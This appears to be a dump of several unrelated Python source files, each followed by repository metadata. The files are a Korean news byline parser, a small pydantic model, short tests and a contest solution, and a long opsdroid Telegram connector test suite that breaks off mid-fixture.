"문화전문기자", "교육전문기자", "사회부장", "궁리출판", "논설위원" ] selfPattern = [ # "([가-힣]{2,4})\\s?\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "경인일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장", "궁리출판", "논설위원" ] selfPattern = [ # "([가-힣]{2,4})\\s?\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "경상일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장", "궁리출판", "논설위원" ] selfPattern = [ # "([가-힣]{2,4})\\s?\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "경남신문" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장", "궁리출판", "논설위원" ] selfPattern = [ "([가-힣]{2,4})\\s?\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "경남도민일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장", "궁리출판", "논설위원" ] selfPattern = [ "([가-힣]{2,4})\\s?\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "경기일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장", "궁리출판", "논설위원" ] selfPattern = [ # "([가-힣]{2,4})\\s?\\s?기자\\s?email", "=([가-힣]{2,4})\\s?기자", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "강원일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장", "궁리출판", "논설위원" ] selfPattern = [ # "([가-힣]{2,4})\\s?\\s?기자\\s?email", "=([가-힣]{2,4})\\s?기자", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "강원도민일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장", "궁리출판", "논설위원" , "강릉본부장" ] forceList = [ "([가-힣]{2,4})", "([가-힣]{2,4})\\s?email", ] LastExcept = [ "명단", "kado", "첨부파일", "net", "프로필", "관련기사", "▶", "◇" ] selfPattern = [ "=\\s?([가-힣]{2,4})\\s?기자$", "([가-힣]{2,4})\\s?email$", "정리/([가-힣]{2,4})", "정리:\\s?([가-힣]{2,4})", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, FindForceLast=True, backContent=False, ForceList=forceList, LastExcept=LastExcept) # 중앙일보 # 중앙일보 # 아시아경제 # 중앙일보 # 중앙일보 # 전북도민일보 # 중앙일보 # 영남일보

50.342508

106

0.484206

3,396

32,924

4.693757

0.064782

0.015809

0.023714

0.031619

0.93005

0.9234

0.920389

0.917189

0.9

0.887265

0

0.016328

0.289424

32,924

654

107

50.342508

0.664928

0.056767

0

0.59962

0

0.003795

0.321661

0.046957

0

1

0.001898

false

0

0.001898

0

0.106262

0

null

0

1

0

null

0

6

156ab5d4fc44d11dd58bdfae2b07140b6f0d6c4d

79

py

Python

Backend/schemas/empty.py

LukasSchmid97/destinyBloodoakStats

1420802ce01c3435ad5c283f44eb4531d9b22c38

[ "MIT" ]

3

2019-10-19T11:24:50.000Z

2021-01-29T12:02:17.000Z

Backend/schemas/empty.py

LukasSchmid97/destinyBloodoakStats

1420802ce01c3435ad5c283f44eb4531d9b22c38

[ "MIT" ]

29

2019-10-14T12:26:10.000Z

2021-07-28T20:50:29.000Z

Backend/schemas/empty.py

LukasSchmid97/destinyBloodoakStats

1420802ce01c3435ad5c283f44eb4531d9b22c38

[ "MIT" ]

2

2019-10-13T17:11:09.000Z

2020-05-13T15:29:04.000Z

from pydantic import BaseModel class EmptyResponseModel(BaseModel): pass

13.166667

36

0.797468

8

79

7.875

0.875

0

0.164557

79

5

37

15.8

0.954545

0

1

0

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

6

157a16e31bd5a4a9b1a743753a069ab7fd649d2c

115

py

Python

tests/test_list_export.py

marteinn/The-Big-Username-Blacklist-Pymodule

551b030f5a93c079d70100222332a3f82c50e170

[ "MIT" ]

3

2015-11-28T09:40:37.000Z

2020-10-22T02:10:11.000Z

tests/test_list_export.py

marteinn/The-Big-Username-Blacklist-Pymodule

551b030f5a93c079d70100222332a3f82c50e170

[ "MIT" ]

2

2015-08-27T06:56:54.000Z

2018-12-09T11:42:23.000Z

tests/test_list_export.py

marteinn/The-Big-Username-Blacklist-Pymodule

551b030f5a93c079d70100222332a3f82c50e170

[ "MIT" ]

2

2017-09-21T03:17:30.000Z

2018-05-25T13:04:31.000Z

from the_big_username_blacklist import get_blacklist def test_list_export(): assert "you" in get_blacklist()

19.166667

52

0.8

17

115

5

0.823529

0.282353

0

0.13913

115

5

53

23

0.858586

0

0.026087

0

0.333333

1

0.333333

true

0

0.333333

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

ec6caccbf2562589008645590afbb8544ff3563c

129

py

Python

2020/j1.py

jo3-l/ccc

65a26a28d8d4189ec9b6bed7682612f3ef7a245c

[ "MIT" ]

null

2020/j1.py

jo3-l/ccc

65a26a28d8d4189ec9b6bed7682612f3ef7a245c

[ "MIT" ]

1

2021-01-22T19:11:52.000Z

2021-01-22T19:16:28.000Z

2020/j1.py

jo3-l/ccc

65a26a28d8d4189ec9b6bed7682612f3ef7a245c

[ "MIT" ]

null

s, m, l = int(input()), int(input()), int(input()) if (1 * s + 2 * m + 3 * l) >= 10: print("happy") else: print("sad")

16.125

50

0.457364

22

129

2.681818

0.636364

0.40678

0.372881

0.542373

0

0.052632

0.263566

129

7

51

18.428571

0.568421

0

0.0625

0

1

0

true

0

0.4

1

0

null

1

0

1

0

null

0

1

0

6

ec82c230d36d593f476c4a0849904d337ba49cb0

111

py

Python

tests/test_dfs_spatial_axis.py

DHI/mikecore-python

04c36b1ee3dc6c81905d75ff8c39d7b8a8411bd7

[ "BSD-3-Clause" ]

2

2021-06-01T21:06:48.000Z

2021-06-16T03:49:35.000Z

tests/test_dfs_spatial_axis.py

DHI/mikecore-python

04c36b1ee3dc6c81905d75ff8c39d7b8a8411bd7

[ "BSD-3-Clause" ]

6

2021-05-27T10:26:13.000Z

2022-03-07T09:44:19.000Z

tests/test_dfs_spatial_axis.py

DHI/mikecore-python

04c36b1ee3dc6c81905d75ff8c39d7b8a8411bd7

[ "BSD-3-Clause" ]

null

from mikecore.DfsFileFactory import DfsFileFactory from mikecore.DfsFile import * from numpy.testing import *

22.2

50

0.837838

13

111

7.153846

0.538462

0.258065

0

0.117117

111

4

51

27.75

0.94898

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

bf15515beb11f720a4a683d884f8e1fbe3df4325

30,168

py

Python

opsdroid/connector/telegram/tests/test_connector_telegram.py

JiahnChoi/opsdroid.kr

0893456b0f9f6c70edf7c330a7593d87450538cc

[ "Apache-2.0" ]

712

2016-08-09T21:30:07.000Z

2022-03-24T09:38:21.000Z

opsdroid/connector/telegram/tests/test_connector_telegram.py

JiahnChoi/opsdroid.kr

0893456b0f9f6c70edf7c330a7593d87450538cc

[ "Apache-2.0" ]

1,767

2016-07-27T13:01:25.000Z

2022-03-29T04:25:10.000Z

opsdroid/connector/telegram/tests/test_connector_telegram.py

JiahnChoi/opsdroid.kr

0893456b0f9f6c70edf7c330a7593d87450538cc

[ "Apache-2.0" ]

536

2016-07-31T14:23:41.000Z

2022-03-22T17:35:15.000Z

import logging import asyncio import pytest import asynctest.mock as amock from opsdroid.connector.telegram import ConnectorTelegram import opsdroid.connector.telegram.events as telegram_events import opsdroid.events as opsdroid_events connector_config = { "token": "test:token", } def test_init_no_base_url(opsdroid, caplog): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) caplog.set_level(logging.ERROR) assert connector.name == "telegram" assert connector.token == "test:token" assert connector.whitelisted_users is None assert connector.webhook_secret is not None assert connector.base_url is None assert "Breaking changes introduced" in caplog.text def test_init(opsdroid): config = { "token": "test:token", "whitelisted-users": ["bob", 1234], "bot-name": "bot McBotty", } connector = ConnectorTelegram(config, opsdroid=opsdroid) opsdroid.config["web"] = {"base-url": "https://test.com"} assert connector.name == "telegram" assert connector.token == "test:token" assert connector.whitelisted_users == ["bob", 1234] assert connector.bot_name == "bot McBotty" assert connector.webhook_secret is not None def test_get_user_from_channel_with_signature(opsdroid): response = { "update_id": 639974076, "channel_post": { "message_id": 15, "author_signature": "Fabio Rosado", "chat": {"id": -1001474700000, "title": "Opsdroid-test", "type": "channel"}, "date": 1603827365, "text": "hi", }, } connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) user, user_id = connector.get_user(response, "") assert user == "Fabio Rosado" assert user_id == 15 def test_get_user_from_channel_without_signature(opsdroid): response = { "update_id": 639974076, "channel_post": { "message_id": 16, "chat": {"id": -1001474700000, "title": "Opsdroid-test", "type": "channel"}, "date": 1603827365, "text": "hi", }, } connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) user, user_id = connector.get_user(response, "Opsdroid!") assert user == "Opsdroid!" assert user_id == 16 def test_get_user_from_forwarded_message(opsdroid): response = { "update_id": 639974077, "message": { "message_id": 31, "from": {"id": 100000, "is_bot": False, "first_name": "Telegram"}, "chat": { "id": -10014170000, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603827368, "forward_from_chat": { "id": -10014740000, "title": "Opsdroid-test", "type": "channel", }, "forward_from_message_id": 15, "forward_signature": "Fabio Rosado", "forward_date": 1603827365, "text": "hi", }, } connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) user, user_id = connector.get_user(response, "Opsdroid!") assert user == "Fabio Rosado" assert user_id == 100000 def test_get_user_from_first_name(opsdroid): response = { "update_id": 639974077, "message": { "message_id": 31, "from": {"id": 100000, "is_bot": False, "first_name": "Fabio"}, "chat": { "id": -10014170000, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603827368, "text": "hi", }, } connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) user, user_id = connector.get_user(response, "") assert user == "Fabio" assert user_id == 100000 def test_get_user_from_username(opsdroid): response = { "update_id": 639974077, "message": { "message_id": 31, "from": {"id": 100000, "is_bot": False, "username": "FabioRosado"}, "chat": { "id": -10014170000, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603827368, "text": "hi", }, } connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) user, user_id = connector.get_user(response, "") assert user == "FabioRosado" assert user_id == 100000 def test_handle_user_permission(opsdroid): response = { "update_id": 639974077, "message": { "message_id": 31, "from": {"id": 100000, "is_bot": False, "username": "FabioRosado"}, "chat": { "id": -10014170000, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603827368, "text": "hi", }, } connector_config["whitelisted-users"] = ["FabioRosado"] connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) permission = connector.handle_user_permission(response, "FabioRosado", 100000) assert permission is True def test_handle_user_id_permission(opsdroid): response = { "update_id": 639974077, "message": { "message_id": 31, "from": {"id": 100000, "is_bot": False, "username": "FabioRosado"}, "chat": { "id": -10014170000, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603827368, "text": "hi", }, } connector_config["whitelisted-users"] = [100000] connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) permission = connector.handle_user_permission(response, "FabioRosado", 100000) assert permission is True def test_handle_user_no_permission(opsdroid): response = { "update_id": 639974077, "message": { "message_id": 31, "from": {"id": 100000, "is_bot": False, "username": "FabioRosado"}, "chat": { "id": -10014170000, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603827368, "text": "hi", }, } connector_config["whitelisted-users"] = [1, "AllowedUser"] connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) permission = connector.handle_user_permission(response, "FabioRosado", 100000) assert permission is False def test_build_url(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) url = connector.build_url("getUpdates") assert url == "https://api.telegram.org/bottest:token/getUpdates" @pytest.mark.asyncio async def test_connect(opsdroid): opsdroid.config["web"] = {"base-url": "https://test.com"} connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) connector.webhook_secret = "test_secret" opsdroid.web_server = amock.Mock() response = amock.Mock() response.status = 200 with amock.patch( "aiohttp.ClientSession.post", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(response) await connector.connect() assert opsdroid.web_server.web_app.router.add_post.called assert patched_request is not None assert mocked_build_url.called @pytest.mark.asyncio async def test_connect_failure(opsdroid, caplog): caplog.set_level(logging.ERROR) opsdroid.config["web"] = {"base-url": "https://test.com"} connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) connector.webhook_secret = "test_secret" opsdroid.web_server = amock.Mock() response = amock.Mock() response.status = 404 with amock.patch( "aiohttp.ClientSession.post", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(response) await connector.connect() assert opsdroid.web_server.web_app.router.add_post.called assert patched_request is not None assert mocked_build_url.called assert "Error when connecting to Telegram" in caplog.text @pytest.mark.asyncio async def test_respond(opsdroid, caplog): caplog.set_level(logging.DEBUG) connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) response = amock.Mock() response.status = 200 with amock.patch( "aiohttp.ClientSession.post", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(response) assert opsdroid.__class__.instances test_message = opsdroid_events.Message( text="This is a test", user="opsdroid", target={"id": 12404}, connector=connector, ) patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(response) await test_message.respond("Response") assert patched_request.called assert mocked_build_url.called assert "Responding" in caplog.text assert "Successfully responded" in caplog.text @pytest.mark.asyncio async def test_respond_failure(opsdroid, caplog): caplog.set_level(logging.DEBUG) connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) response = amock.Mock() response.status = 500 with amock.patch( "aiohttp.ClientSession.post", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(response) assert opsdroid.__class__.instances test_message = opsdroid_events.Message( text="This is a test", user="opsdroid", target={"id": 12404}, connector=connector, ) patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(response) await test_message.respond("Response") assert patched_request.called assert mocked_build_url.called assert "Responding" in caplog.text assert "Unable to respond" in caplog.text @pytest.mark.asyncio async def test_respond_image(opsdroid, caplog): caplog.set_level(logging.DEBUG) connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) post_response = amock.Mock() post_response.status = 200 gif_bytes = ( b"GIF89a\x01\x00\x01\x00\x00\xff\x00," b"\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;" ) image = opsdroid_events.Image(file_bytes=gif_bytes, target={"id": "123"}) with amock.patch( "aiohttp.ClientSession.post", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(post_response) await connector.send_image(image) assert mocked_build_url.called assert patched_request.called assert "Sent" in caplog.text @pytest.mark.asyncio async def test_respond_image_failure(opsdroid, caplog): caplog.set_level(logging.DEBUG) connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) post_response = amock.Mock() post_response.status = 400 gif_bytes = ( b"GIF89a\x01\x00\x01\x00\x00\xff\x00," b"\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;" ) image = opsdroid_events.Image(file_bytes=gif_bytes, target={"id": "123"}) with amock.patch( "aiohttp.ClientSession.post", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(post_response) await connector.send_image(image) assert mocked_build_url.called assert patched_request.called assert "Unable to send image" in caplog.text @pytest.mark.asyncio async def test_respond_file(opsdroid, caplog): caplog.set_level(logging.DEBUG) connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) post_response = amock.Mock() post_response.status = 200 file_bytes = b"plain text file example" file = opsdroid_events.File(file_bytes=file_bytes, target={"id": "123"}) with amock.patch( "aiohttp.ClientSession.post", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(post_response) await connector.send_file(file) assert mocked_build_url.called assert patched_request.called assert "Sent" in caplog.text async def test_respond_file_failure(opsdroid, caplog): caplog.set_level(logging.DEBUG) connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) post_response = amock.Mock() post_response.status = 400 file_bytes = b"plain text file example" file = opsdroid_events.File(file_bytes=file_bytes, target={"id": "123"}) with amock.patch( "aiohttp.ClientSession.post", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(post_response) await connector.send_file(file) assert mocked_build_url.called assert patched_request.called assert "Unable to send file" in caplog.text async def test_disconnect_successful(opsdroid, caplog): caplog.set_level(logging.DEBUG) connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) response = amock.Mock() response.status = 200 with amock.patch( "aiohttp.ClientSession.get", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(response) await connector.disconnect() assert mocked_build_url.called assert patched_request.called assert "Sending deleteWebhook" in caplog.text assert "Telegram webhook deleted" in caplog.text async def test_disconnect_failure(opsdroid, caplog): caplog.set_level(logging.DEBUG) connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) response = amock.Mock() response.status = 400 with amock.patch( "aiohttp.ClientSession.get", new=amock.CoroutineMock() ) as patched_request, amock.patch.object( connector, "build_url" ) as mocked_build_url: patched_request.return_value = asyncio.Future() patched_request.return_value.set_result(response) await connector.disconnect() assert mocked_build_url.called assert patched_request.called assert "Sending deleteWebhook" in caplog.text assert "Unable to delete webhook" in caplog.text @pytest.mark.asyncio async def test_edited_message_event(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974040, "edited_message": { "message_id": 1247, "from": { "id": 6399348, "is_bot": False, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "language_code": "en", }, "chat": { "id": 6399348, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "type": "private", }, "date": 1603818326, "edit_date": 1603818330, "text": "hi", }, } edited_message = opsdroid_events.EditedMessage("hi", 6399348, "Fabio", 6399348) await connector.telegram_webhook_handler(mock_request) assert "hi" in edited_message.text assert "Fabio" in edited_message.user assert edited_message.target == 6399348 assert edited_message.user_id == 6399348 @pytest.mark.asyncio async def test_join_group_event(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974040, "message": { "message_id": 1247, "from": { "id": 6399348, "is_bot": False, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "language_code": "en", }, "chat": { "id": 6399348, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "type": "private", }, "date": 1603818326, "edit_date": 1603818330, "new_chat_member": True, }, } join_message = opsdroid_events.JoinGroup(6399348, "Fabio", 6399348) await connector.telegram_webhook_handler(mock_request) assert "Fabio" in join_message.user assert join_message.target == 6399348 assert join_message.user_id == 6399348 @pytest.mark.asyncio async def test_leave_group_event(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974040, "message": { "message_id": 1247, "from": { "id": 6399348, "is_bot": False, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "language_code": "en", }, "chat": { "id": 6399348, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "type": "private", }, "date": 1603818326, "edit_date": 1603818330, "left_chat_member": True, }, } left_message = opsdroid_events.LeaveGroup(6399348, "Fabio", 6399348) await connector.telegram_webhook_handler(mock_request) assert "Fabio" in left_message.user assert left_message.target == 6399348 assert left_message.user_id == 6399348 @pytest.mark.asyncio async def test_pinned_message_event(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974040, "message": { "message_id": 1247, "from": { "id": 6399348, "is_bot": False, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "language_code": "en", }, "chat": { "id": 6399348, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "type": "private", }, "date": 1603818326, "edit_date": 1603818330, "pinned_message": True, }, } pinned_message = opsdroid_events.PinMessage(6399348, "Fabio", 6399348) await connector.telegram_webhook_handler(mock_request) assert "Fabio" in pinned_message.user assert pinned_message.target == 6399348 assert pinned_message.user_id == 6399348 @pytest.mark.asyncio async def test_reply_to_message_event(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974084, "message": { "message_id": 1272, "from": { "id": 639348, "is_bot": False, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "language_code": "en", }, "chat": { "id": 639348, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "type": "private", }, "date": 1603834922, "reply_to_message": { "message_id": 1271, "from": { "id": 639348, "is_bot": False, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "language_code": "en", }, "chat": { "id": 63948, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "type": "private", }, "date": 1603834912, "text": "Hi", }, "text": "This is a reply", }, } reply_message = opsdroid_events.Reply( "This is a reply", 639348, "FabioRosado", 63948 ) await connector.telegram_webhook_handler(mock_request) assert "This is a reply" in reply_message.text assert "FabioRosado" in reply_message.user assert reply_message.target == 63948 @pytest.mark.asyncio async def test_location_event(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974101, "message": { "message_id": 42, "from": { "id": 1087968824, "is_bot": True, "first_name": "Group", "username": "GroupAnonymousBot", }, "chat": { "id": -1001417735217, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603992829, "location": {"latitude": 56.159849, "longitude": -5.230604}, }, } event_location = telegram_events.Location( {"location": {"latitude": 56.159849, "longitude": -5.230604}}, 56.159849, -5.230604, ) await connector.telegram_webhook_handler(mock_request) assert event_location.latitude == 56.159849 assert event_location.longitude == -5.230604 @pytest.mark.asyncio async def test_poll_event(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974103, "message": { "message_id": 44, "from": { "id": 1087968824, "is_bot": True, "first_name": "Group", "username": "GroupAnonymousBot", }, "chat": { "id": -1001417735217, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603993170, "poll": { "id": "5825895662671101957", "question": "Test", "options": [ {"text": "Test", "voter_count": 0}, {"text": "Testing", "voter_count": 0}, ], "total_voter_count": 0, "is_closed": False, "is_anonymous": True, "type": "regular", "allows_multiple_answers": False, }, }, } poll_event = telegram_events.Poll( { "question": "question", "option": ["option1", "option2"], "total_voter_count": 1, }, "question", ["option1", "option2"], 1, ) await connector.telegram_webhook_handler(mock_request) assert poll_event.question == "question" assert poll_event.options == ["option1", "option2"] assert poll_event.total_votes == 1 @pytest.mark.asyncio async def test_contact_event(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 1, "message": { "chat": {"id": 321}, "from": {"id": 123}, "contact": {"phone_number": 123456, "first_name": "opsdroid"}, }, } contact_event = telegram_events.Contact( {"phone_number": 123456, "first_name": "opsdroid"}, 123456, "opsdroid" ) await connector.telegram_webhook_handler(mock_request) assert contact_event.first_name == "opsdroid" assert contact_event.phone_number == 123456 @pytest.mark.asyncio async def test_unparseable_event(opsdroid, caplog): caplog.set_level(logging.DEBUG) opsdroid.config["web"] = {"base-url": "https://test.com"} connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) message = { "update_id": 1, "message": { "message_id": 1279, "from": { "id": 639889348, "is_bot": False, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "language_code": "en", }, "chat": { "id": 639889348, "first_name": "Fabio", "last_name": "Rosado", "username": "FabioRosado", "type": "private", }, "date": 1604013500, "sticker": { "width": 512, "height": 512, "emoji": "👌", "set_name": "HotCherry", "is_animated": 